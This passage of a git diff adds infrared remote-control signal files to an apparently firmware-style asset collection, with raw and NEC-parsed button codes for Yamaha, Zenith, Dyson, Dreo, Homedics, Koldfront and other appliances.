100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/TV/5,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/iPort/iPod/1,222.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/iPort/iPort/1,222.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/universum/SAT/97,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/universum/VCR/128,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir diff --git a/assets/resources/infrared/ACs/Dreo/Dreo_Heater.ir b/assets/resources/infrared/ACs/Dreo/Dreo_Heater.ir new file mode 100644 index 000000000..54ea2f2af --- /dev/null +++ b/assets/resources/infrared/ACs/Dreo/Dreo_Heater.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1306 402 1280 404 437 1236 1278 406 1276 409 432 1241 431 1241 431 1215 457 1241 441 1231 441 1231 1272 7138 1307 402 1280 404 437 1236 1277 406 1276 408 433 1241 431 1215 468 1231 441 1231 441 1232 440 1232 1271 8217 1301 408 1274 410 431 1242 1272 411 1281 403 438 1236 436 1236 436 1236 436 1236 436 1236 436 1236 1277 7133 1302 407 1275 409 432 1241 1272 411 1272 412 439 1234 438 1234 438 1234 438 1234 438 1234 438 1234 1279 8208 1299 410 1272 411 440 1233 1280 403 1279 405 436 1238 434 1238 434 1238 434 1238 434 1238 434 1238 1276 7134 1300 409 1273 410 431 1242 1272 411 1281 403 438 1235 437 1235 437 1235 437 1235 437 1235 437 1235 1278 8209 1298 411 1271 412 439 1234 1279 404 1279 405 436 1237 435 1238 434 1238 434 1238 434 1238 434 1238 1275 7135 1299 410 1273 411 440 1232 1281 403 1279 405 436 1237 435 1238 434 1238 434 1238 434 1238 434 1238 1275 +# +name: Heat_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1303 405 1278 406 435 1237 1276 407 1275 409 432 1240 432 1265 407 1265 407 1291 381 1290 1223 409 432 7963 1302 407 1275 409 432 1239 1274 410 1273 412 439 1232 440 1258 414 1283 389 1283 389 1282 1221 411 440 9121 1301 408 1274 410 441 1230 1273 411 1282 402 439 1233 439 1259 413 1258 414 1257 415 1283 1220 411 440 7955 1299 409 1274 411 440 1231 1272 412 1281 403 438 1234 438 1260 412 1259 413 1285 387 1258 1255 403 438 9123 1299 410 1273 411 440 1232 1281 403 1279 404 437 1235 437 1235 437 1260 412 1260 412 1259 1254 404 437 7959 1306 403 1279 405 436 1236 1278 406 1276 408 433 1238 434 1238 434 1263 409 1263 409 1262 1251 407 434 9128 1304 405 1278 406 435 1237 1276 408 1274 410 441 1231 441 1230 431 1267 405 1266 406 1265 1248 410 441 7956 1298 410 1273 412 439 1232 1281 403 1279 405 436 1236 436 1262 410 1261 411 1261 411 1260 1253 405 436 +# +name: Heat_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1302 406 1276 408 433 1239 1274 410 1273 411 440 1232 440 1258 1255 403 438 1234 438 1260 1253 404 437 7960 1305 404 1279 405 436 1236 1277 407 1275 409 432 1240 432 1265 1248 410 441 1230 431 1267 1247 411 440 9062 1298 411 1281 403 438 1234 1279 405 1278 406 435 1237 435 1263 1250 408 433 1239 433 1265 1248 410 441 7956 1299 410 1273 411 440 1232 1281 403 1279 405 436 1236 436 1262 1251 407 434 1238 434 1264 1249 409 432 9072 1298 411 1281 403 438 1234 1279 405 1277 407 434 1238 434 1264 1249 409 432 1240 432 1266 1247 410 441 7956 1299 410 1272 412 439 1233 1280 404 1279 405 436 1237 435 1263 1249 408 433 1239 433 1265 1248 410 441 9064 1306 403 1279 405 436 1236 1277 407 1275 409 432 1241 431 1267 1247 411 440 1231 441 1231 1281 403 438 7959 1306 403 1279 405 436 1236 1277 407 1275 409 432 1240 432 1240 1273 410 441 1231 441 1231 1282 402 439 +# +name: Mode +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1306 403 1279 404 437 1235 1278 405 1278 406 435 1238 434 1211 461 1210 462 1236 1277 405 436 1236 436 7959 1306 402 1280 403 438 1234 1279 404 1278 405 436 1210 462 1236 436 1209 463 1235 1278 404 437 1209 463 9015 1301 407 1276 407 434 1239 1275 407 1275 409 432 1241 431 1240 432 1214 458 1213 1300 408 433 1240 432 7962 1302 407 1276 407 434 1239 1274 408 1274 410 431 1242 430 1241 431 1240 432 1240 1273 410 431 1241 431 9021 1306 403 1279 404 437 1235 1278 405 1278 406 435 1237 435 1237 435 1237 435 1236 1278 405 436 1237 435 7960 1304 403 1279 404 437 1235 1278 405 1278 406 435 1237 435 1236 436 1235 437 1234 1279 404 437 1235 437 9015 1302 406 1276 407 434 1238 1275 409 1273 410 441 1231 441 1230 431 1266 406 1265 1248 410 431 1241 431 7964 1300 408 1274 410 441 1231 1272 411 1281 403 438 1234 438 1234 438 1259 413 1259 1254 404 437 1234 438 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1300 406 1276 407 434 1215 1298 408 1274 410 441 1207 1296 411 440 1208 464 1208 463 1208 464 1208 464 7956 1298 409 1273 411 440 1208 1305 402 1280 404 437 1211 1302 405 436 1213 459 1212 460 1212 459 1212 460 9225 1301 405 1278 406 435 1213 1300 407 1275 409 432 1217 1296 410 441 1207 465 1206 455 1216 456 1216 456 7964 1300 406 1276 408 433 1215 1298 409 1273 410 441 1207 1306 401 440 1208 464 1208 464 1207 465 1207 465 9221 1306 401 1281 403 438 1210 1303 404 1278 405 436 1213 1300 407 434 1215 457 1215 457 1215 457 1214 458 7964 1300 406 1276 408 433 1216 1297 410 1283 401 440 1209 1304 377 464 1211 461 1210 462 1210 462 1210 461 +# +name: Rotate +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1296 411 1271 412 439 1233 1280 404 1279 405 436 1236 436 1236 1277 405 436 1236 436 1236 436 1235 437 7958 1306 403 1279 404 437 1235 1279 405 1277 407 434 1238 434 1239 1274 409 432 1240 432 1240 432 1266 406 9022 1304 405 1278 406 435 1237 1275 409 1273 410 441 1231 440 1257 1256 402 439 1234 438 1260 412 1260 412 7959 1305 404 1279 406 435 1237 1276 408 1274 410 441 1231 441 1257 1246 412 439 1232 439 1259 413 1259 413 +# +name: Timer +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1303 380 1302 407 434 1238 1275 408 1274 410 441 1230 442 1256 405 1266 1247 411 440 1231 441 1257 415 7956 1298 411 1281 403 438 1234 1279 405 1277 407 434 1238 434 1265 406 1265 1247 410 441 1231 441 1257 415 9271 1297 412 1280 404 437 1235 1278 406 1276 408 433 1239 433 1266 406 1265 1248 410 441 1231 440 1258 414 7957 1307 402 1280 404 437 1235 1278 405 1276 408 433 1239 433 1265 407 1265 1247 410 441 1231 440 1258 414 9271 1298 412 1280 403 438 1234 1279 405 1277 407 434 1238 434 1265 406 1265 1248 410 431 1241 431 1267 405 7966 1298 410 1272 412 439 1233 1280 404 1279 405 436 1236 436 1262 409 1262 1251 407 434 1238 434 1264 407 diff --git a/assets/resources/infrared/ACs/Dyson/Dyson_Air_Multiplier.ir b/assets/resources/infrared/ACs/Dyson/Dyson_Air_Multiplier.ir new file mode 100644 index 000000000..b4c98e49a --- /dev/null +++ b/assets/resources/infrared/ACs/Dyson/Dyson_Air_Multiplier.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2229 716 749 747 728 715 750 720 756 714 751 719 757 1447 751 719 756 714 751 1453 755 742 723 747 729 742 754 716 749 721 754 715 729 741 724 1454 754 1450 758 1445 753 1451 757 714 751 50967 2228 717 748 1455 753 51028 2198 746 730 1449 749 +# +name: Speed_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2225 719 756 741 724 720 755 715 750 720 755 716 749 1456 752 719 746 726 749 1456 731 741 755 1451 757 714 751 1455 753 718 757 1448 750 1456 752 720 755 715 750 721 754 1452 756 1449 759 51509 2201 743 732 1473 756 51069 2202 717 758 1448 750 +# +name: Speed_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2234 712 752 743 732 713 751 720 755 716 749 722 753 1453 754 716 759 712 752 1453 754 718 757 1449 758 713 751 1455 752 1454 753 718 757 741 723 748 727 745 730 1449 758 739 725 1455 752 51252 2234 713 751 1454 753 +# +name: Rotate +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2199 716 759 763 701 742 732 737 727 742 732 737 727 1448 759 738 726 743 732 1444 752 771 724 745 729 1447 760 1417 758 739 746 750 725 1426 760 737 727 743 732 739 725 1452 755 743 732 50977 2206 711 753 1449 758 51061 2226 721 754 1451 724 +# +name: Circulate +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2232 712 752 743 731 712 752 718 756 713 751 745 729 1447 749 721 753 717 757 1446 750 1453 754 717 757 712 752 718 756 713 751 1451 756 741 723 720 754 1449 758 1447 728 1449 758 1447 780 51509 2200 718 756 1474 722 51067 2202 743 731 1446 750 +# +name: Auto +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2227 716 748 721 753 716 758 712 752 717 747 723 751 1452 723 747 727 742 722 1482 724 1479 748 722 752 1451 724 747 727 1449 757 713 782 714 750 720 754 716 748 722 752 717 747 723 751 50706 2204 713 751 1481 725 51062 2225 719 755 1449 747 +# +name: Sleep +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2229 714 750 747 727 717 757 713 751 719 755 715 749 1455 751 719 755 715 749 1455 751 1453 753 717 757 714 750 1454 752 718 756 714 750 746 728 742 722 722 752 1452 754 716 758 1445 751 50982 2229 716 727 1479 748 51048 2205 712 752 1450 756 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2195 722 752 743 721 749 746 723 730 739 746 723 751 1450 725 745 729 739 725 1477 729 1473 754 716 748 1454 731 1445 751 719 755 1473 723 1453 753 1449 757 713 751 718 756 1447 749 747 727 50748 2201 743 731 1473 754 diff --git a/assets/resources/infrared/ACs/Dyson/Dyson_HP09.ir b/assets/resources/infrared/ACs/Dyson/Dyson_HP09.ir new file mode 100644 index 000000000..121c626af --- /dev/null +++ b/assets/resources/infrared/ACs/Dyson/Dyson_HP09.ir @@ -0,0 +1,12 @@ +Power RAW F:38000 DC:33 2223 753 725 720 748 750 728 743 725 746 722 1458 750 749 750 722 726 747 721 1460 748 724 755 744 724 721 747 724 754 744 724 747 752 720 748 1458 750 722 756 715 753 718 750 1456 752 51488 2221 727 721 1460 748 51156 2203 744 724 1456 752 +Info RAW F:38000 DC:33 2229 718 750 721 747 724 755 716 752 719 749 1457 751 721 747 724 744 727 721 1486 722 1458 749 722 746 1459 749 1457 751 720 779 1427 750 1456 752 1454 754 1452 745 1460 748 1457 751 1455 722 51635 2218 727 751 1453 744 51091 2227 745 723 1455 753 51082 2226 719 718 1459 749 +Fan_up RAW F:38000 DC:33 2229 715 753 717 751 719 749 722 746 725 753 1451 757 715 753 717 751 720 748 1457 750 720 748 1457 750 720 727 1451 756 741 727 1478 750 1455 722 749 750 1455 722 1457 750 746 753 718 750 51532 2195 750 749 1457 750 51053 2222 722 756 1449 748 +Fan_dwn RAW F:38000 DC:33 2225 745 723 748 720 750 718 752 726 744 724 1453 755 743 746 698 749 721 747 1459 748 723 755 1449 748 722 746 1459 748 1458 729 742 726 745 723 748 720 1485 723 749 729 715 753 1478 750 51268 2224 721 747 1457 750 51063 2203 742 726 1453 754 +Heat_up RAW F:38000 DC:33 2227 716 721 749 750 720 748 721 747 723 755 1448 749 722 746 724 744 726 722 1483 724 746 722 1482 726 745 723 1454 753 716 752 1478 729 1450 747 750 728 1450 747 1458 749 1456 751 746 722 50808 2200 745 754 1451 726 51079 2227 718 750 1429 748 +Heat_down RAW F:38000 DC:33 2229 716 752 718 750 720 748 722 746 724 755 1450 747 723 745 725 753 717 751 1453 755 716 752 1452 756 1449 748 1456 721 1483 755 1448 749 1455 722 1456 752 1453 755 1450 747 1456 752 1453 755 50840 2221 749 729 1449 748 51062 2194 750 728 1449 748 +Auto RAW F:38000 DC:33 2278 692 725 745 723 747 721 748 730 739 750 1427 750 748 751 719 728 742 726 1451 756 1448 749 749 729 1474 723 747 721 1456 721 776 702 741 747 723 724 1479 728 1476 721 750 728 741 748 51224 2225 719 749 1453 724 51075 2221 721 726 1476 721 +Cool RAW F:38000 DC:33 2220 724 754 715 753 716 752 718 750 720 748 1481 726 744 724 719 749 721 747 1457 750 747 721 1456 731 1474 723 747 721 749 729 1500 728 717 751 1478 719 750 728 715 753 717 751 1478 729 51218 2202 767 722 1454 723 51044 2223 720 748 1456 721 +Swivel RAW F:38000 DC:33 2223 720 748 749 729 741 727 743 725 744 724 1453 754 743 745 724 723 747 721 1456 751 746 722 748 730 1448 749 1455 752 744 724 746 722 1455 752 744 724 1454 753 1451 756 1449 748 748 730 51497 2229 713 755 1449 748 51064 2201 714 754 1449 748 +Timer RAW F:38000 DC:33 2225 718 750 719 749 721 747 722 746 723 745 1458 750 720 748 722 726 744 724 1452 756 741 727 742 726 1451 746 1457 750 1454 754 716 752 717 720 1483 725 745 723 1454 754 1450 747 1456 752 50811 2199 744 745 1433 754 51049 2229 715 743 1435 752 +Night RAW F:38000 DC:33 2227 713 806 664 753 716 752 718 750 719 749 1455 752 718 750 719 749 720 758 1445 752 1424 784 714 754 688 780 1424 753 718 750 745 754 716 752 717 751 1454 753 716 752 718 750 720 748 51722 2202 686 782 1423 754 51080 2228 714 754 1423 754 +Direction RAW F:38000 DC:33 2223 745 723 747 731 738 730 739 729 741 727 1449 748 748 751 718 729 740 728 1449 748 1456 751 745 723 747 721 748 730 739 729 1448 749 748 730 739 729 741 727 742 747 1430 757 1446 751 50981 2223 719 729 1449 748 51077 2200 743 725 1478 729 diff --git a/assets/resources/infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir b/assets/resources/infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir new file mode 100644 index 000000000..af20bdecd --- /dev/null +++ b/assets/resources/infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 88 00 00 00 +# +name: 750W +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8C 00 00 00 +# +name: 1500W +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 90 00 00 00 +# +name: Dimmer +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 94 00 00 00 diff --git a/assets/resources/infrared/ACs/Homedics/Homedics_Humidifier.ir b/assets/resources/infrared/ACs/Homedics/Homedics_Humidifier.ir new file mode 100644 index 000000000..46ae9283f --- /dev/null +++ b/assets/resources/infrared/ACs/Homedics/Homedics_Humidifier.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1278 408 1276 410 437 1250 434 1253 1278 408 439 1248 436 1252 432 1256 438 1249 435 1252 432 1256 1275 7163 1277 409 1275 437 410 1250 433 1254 1277 409 438 1249 435 1252 432 1255 439 1248 436 1251 432 1254 1277 7159 1281 408 1172 +# +name: Mist_settings +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1304 383 1311 375 461 1227 467 1220 1310 376 460 1227 467 1221 462 1225 458 1229 1312 375 461 1225 469 7972 1305 381 1302 383 464 1224 459 1227 1303 382 465 1223 460 1227 467 1220 463 1223 1307 379 468 1219 464 7976 1310 376 1307 377 459 1228 466 1221 1309 376 460 1226 468 1220 463 1223 460 1226 1305 381 466 1221 462 7979 1308 377 1306 379 457 1230 464 1223 1308 377 459 1228 466 1221 462 1224 459 1228 1302 382 465 1223 460 7978 1309 376 1307 378 458 1228 466 1220 1311 375 461 1225 458 1228 466 1220 463 1223 1308 378 458 1227 467 7971 1306 378 1305 379 468 1219 464 1221 1309 375 461 1225 458 1227 467 1219 464 1222 1309 375 461 1225 458 +# +name: Humidity_lvl +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1287 437 1267 431 416 1273 410 1278 1263 433 414 1248 436 1253 1288 433 414 1248 436 1279 415 1248 436 8002 1296 405 1289 435 412 1277 407 1255 1286 436 411 1252 442 1247 1284 411 436 1253 441 1247 437 1252 442 7994 1293 406 1288 435 412 1276 408 1254 1287 409 438 1251 443 1245 1286 435 412 1249 435 1254 440 1248 435 8000 1287 434 1260 433 414 1274 410 1277 1264 428 408 1253 441 1273 1258 435 412 1276 408 1254 440 1248 436 8000 1287 404 1280 439 408 1279 415 1272 1259 432 415 1272 411 1276 1255 436 411 1276 408 1280 414 1273 410 8000 1287 429 1255 435 412 1276 408 1279 1252 438 409 1277 407 1281 1260 429 407 1278 406 1281 413 1274 409 +# +name: Lighting +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1280 436 1258 431 405 1254 440 1246 1285 431 1252 437 410 1275 408 1253 441 1245 438 1248 1283 432 1251 7156 1284 431 1252 434 413 1247 436 1249 1282 433 1250 437 410 1250 433 1253 430 1255 439 1247 1284 430 1254 7155 1285 429 1255 433 414 1246 437 1249 1282 433 1251 437 410 1251 432 1253 441 1246 438 1250 1281 433 1261 +# +name: Timer +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1284 429 1255 431 405 1280 414 1245 1275 437 410 1249 434 1251 432 1253 1278 433 414 1244 439 1246 437 7994 1272 439 1255 429 407 1277 406 1253 1278 433 414 1271 412 1247 436 1249 1282 429 407 1277 406 1253 430 8001 1275 435 1248 436 411 1247 436 1249 1281 429 407 1250 433 1253 430 1255 1276 435 412 1273 410 1248 435 8000 1276 435 1248 437 410 1276 407 1252 1279 435 412 1275 408 1251 432 1280 1251 436 411 1275 409 1277 407 +# +name: Heat_option +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1277 407 1277 408 439 1246 437 1248 1272 412 435 1250 434 1251 432 1253 431 1255 439 1246 1274 409 438 7996 1280 403 1280 430 406 1253 431 1255 1276 434 413 1247 437 1249 434 1250 433 1252 431 1254 1277 433 414 7992 1274 409 1275 435 412 1273 410 1275 1245 438 409 1276 408 1251 432 1253 430 1254 440 1246 1274 435 412 7996 1280 403 1280 430 406 1253 431 1255 1276 434 413 1273 410 1249 434 1250 433 1252 431 1254 1277 434 413 7996 1280 403 1281 430 406 1279 404 1255 1276 434 413 1246 438 1248 435 1250 433 1252 431 1254 1277 434 413 7994 1272 411 1273 438 409 1250 433 1252 1279 406 430 1255 439 1247 437 1249 434 1252 431 1254 1277 407 440 diff --git a/assets/resources/infrared/ACs/JETTools/JETTools_AFS-1000B.ir b/assets/resources/infrared/ACs/JETTools/JETTools_AFS-1000B.ir new file mode 100644 index 000000000..45735b9bd --- /dev/null +++ b/assets/resources/infrared/ACs/JETTools/JETTools_AFS-1000B.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: On_off +type: parsed +protocol: NEC +address: 01 00 00 00 +command: 03 00 00 00 +# +name: Speed +type: parsed +protocol: NEC +address: 01 00 00 00 +command: 07 00 00 00 +# +name: Time +type: parsed +protocol: NEC +address: 01 00 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/ACs/Koldfront/Koldfront_WAC12001.ir b/assets/resources/infrared/ACs/Koldfront/Koldfront_WAC12001.ir new file mode 100644 index 000000000..92e6fa2e1 --- /dev/null +++ b/assets/resources/infrared/ACs/Koldfront/Koldfront_WAC12001.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 12 ED 00 00 +# +name: Mode +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 02 FD 00 00 +# +name: Minus +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 13 EC 00 00 +# +name: Plus +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 1A E5 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 1B E4 00 00 +# +name: Speed +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 0E F1 00 00 +# +name: One_Touch +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 16 E9 00 00 +# +name: Sleep +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 0A F5 00 00 +# +name: Energy_Saver +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 0F F0 00 00 diff --git a/assets/resources/infrared/ACs/Koldfront_wac12001.ir b/assets/resources/infrared/ACs/Koldfront_wac12001.ir new file mode 100644 index 000000000..92e6fa2e1 --- /dev/null +++ b/assets/resources/infrared/ACs/Koldfront_wac12001.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 12 ED 00 00 +# +name: Mode +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 02 FD 00 00 +# +name: Minus +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 13 EC 00 00 +# +name: Plus +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 1A E5 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 1B E4 00 00 +# +name: Speed +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 